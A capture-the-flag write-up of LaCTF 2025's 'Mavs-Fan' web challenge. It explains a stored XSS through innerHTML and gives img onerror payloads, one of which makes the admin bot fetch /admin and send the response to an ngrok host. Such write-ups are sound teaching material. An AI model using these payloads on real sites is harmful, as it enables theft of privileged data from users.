🌐 Mavs-Fan
A detailed write-up of the Web challenge 'Mavs-Fan' from LaCTF - 2025
📊 Challenge Overview
Category Details Additional Info 🏆 Event LaCTF - 2025 Event Link 🔰 Category Web 🌐 💎 Points 500 Out of 500 total ⭐ Difficulty 🟢 Easy Personal Rating: 3/10 👤 Author stewie Profile 🎮 Solves (At the time of flag submission) 296 solve rate 📅 Date 09-02-2025 LaCTF - 2025 🦾 Solved By mH4ck3r0n3 Team: QnQSec
📝 Challenge Information
Just a Mavs fan trying to figure out what Nico Harrison cooking up for my team nowadays…
Hint - You can send a link to your post that the admin bot will visit. Note that the admin cookie is HttpOnly!
Site - mavs-fan.chall.lac.tf
Admin Bot - https://admin-bot.lac.tf/mavs-fan
🎯 Challenge Files & Infrastructure
Provided Files
Files:
🔍 Initial Analysis
First Steps
Initially, the website appears as follows:
It is most likely an
XSS
since we were provided with an admin bot to make requests to pages with the injected payload. However, this is not a standardXSS
challenge. In fact, the description specifies that the cookie format isHttpOnly
, meaning they cannot be extracted using a JavaScript script. By analyzing the attached files, I found severalapi
endpoints and discovered that the injection is possible due to the following line found in thepost.html
file:
1
document.getElementById('post-content').innerHTML = post.message;
When the post page is visited, the
innerHTML
is used to insert the content of the post directly into the page. The use ofinnerHTML
without sanitization allows for the execution of arbitrary JavaScript code ifpost.message
contains an XSS payload. This is also possible because, on the server side, the following code exists:
1 2 3 4
app.post('/api/post', (req, res) => { const { message } = req.body; posts.set(newId, { message: message, published: false }); });
The server stores the user message without validating/sanitizing its content. A user can insert malicious HTML/JavaScript. The challenge’s goal was to access
/admin
to retrieve the flag. However, to do this, we need the admin’s cookies, but as previously mentioned, they are set toHttpOnly
, so they cannot be extracted using JavaScript. Let’s move on to the exploitation.
🔬 Vulnerability Analysis
Potential Vulnerabilities
- XSS (Cross-Site Scripting)
🎯 Solution Path
Exploitation Steps
Initial setup
The first phase of the exploit involves performing an injection. Initially, I tried inserting a
<script>
tag, but it didn’t work because the content was dynamically placed inside a<div>
, and the script wasn’t executed due to the use ofinnerHTML
. So, I opted for this solution:
1
<img src=x onerror="alert(1)">
Successfully performing the injection, I then started the ngrok server to redirect the requests to my endpoint:
1
ngrok 8080
Exploitation
Once the setup was complete, I moved on to the actual exploitation. Even with a fetch request to my ngrok server, passing a parameter, the cookies remained inaccessible due to their
HttpOnly
attribute.
1
<img src=x onerror="fetch('https://ngrok_link?flag='+document.cookie)">
We couldn’t extract them due to the
HttpOnly
attribute. However, by reading through the attached files, I found a route/admin
:
1 2 3 4 5 6 7
app.get('/admin', (req, res) => { if (!req.cookies.secret || req.cookies.secret !== ADMIN_SECRET) { return res.redirect("/"); } return res.json({ trade_plan: FLAG }); });
This is where we need to access to get the flag. As we can see, without the cookies set with the admin secret, we can’t access this route. And since we can’t steal the cookies due to the
HttpOnly
attribute, I decided to send the admin bot itself to retrieve the flag for me. All of this was achieved with the following payload:
1 2 3
<img src=x onerror="fetch('/admin') .then(r => r.redirected ? r.text() : r.text()) .then(d => fetch('https://5559-2-37-167-108.ngrok-free.app?flag=' + encodeURIComponent(d)))">
Injecting this payload into the page will cause the admin bot to make a request to the
/admin
route. In case of a redirect, it will follow it and extract the response text from the request made to the/admin
route. Then, it will send the extracted content to myngrok
server through theflag=
parameter:As we can see, the injection worked, and by checking the ngrok web interface, I received the request with the response text associated with the request made to the
/admin
page. Now, all that’s left is to send the link of the post created with the injection inside to the admin bot:Once sent, by checking the
ngrok web interface
, I captured the flag.
Flag capture
🛠️ Exploitation Process
Approach
🚩 Flag Capture
Flag
Proof of Execution
🔧 Tools Used
Tool Purpose Python Exploit Ngrok Forwarding
💡 Key Learnings
New Knowledge
If the cookie is set to
HttpOnly
, you can direct the admin bot to the page with the resources you’re interested in via a fetch, and extract the response text from this request, sending it to your web server.
Time Optimization
When there’s an admin bot, it’s almost always an XSS vulnerability.
Skills Improved
- Binary Exploitation
- Reverse Engineering
- Web Exploitation
- Cryptography
- Forensics
- OSINT
- Miscellaneous
📊 Final Statistics
Metric | Value | Notes |
---|---|---|
Time to Solve | 00:30 | From start to flag |
Global Ranking (At the time of flag submission) | 50/925 | Challenge ranking |
Points Earned | 500 | Team contribution |
Created: 09-02-2025 • Last Modified: 09-02-2025 Author: mH4ck3r0n3 • Team: QnQSec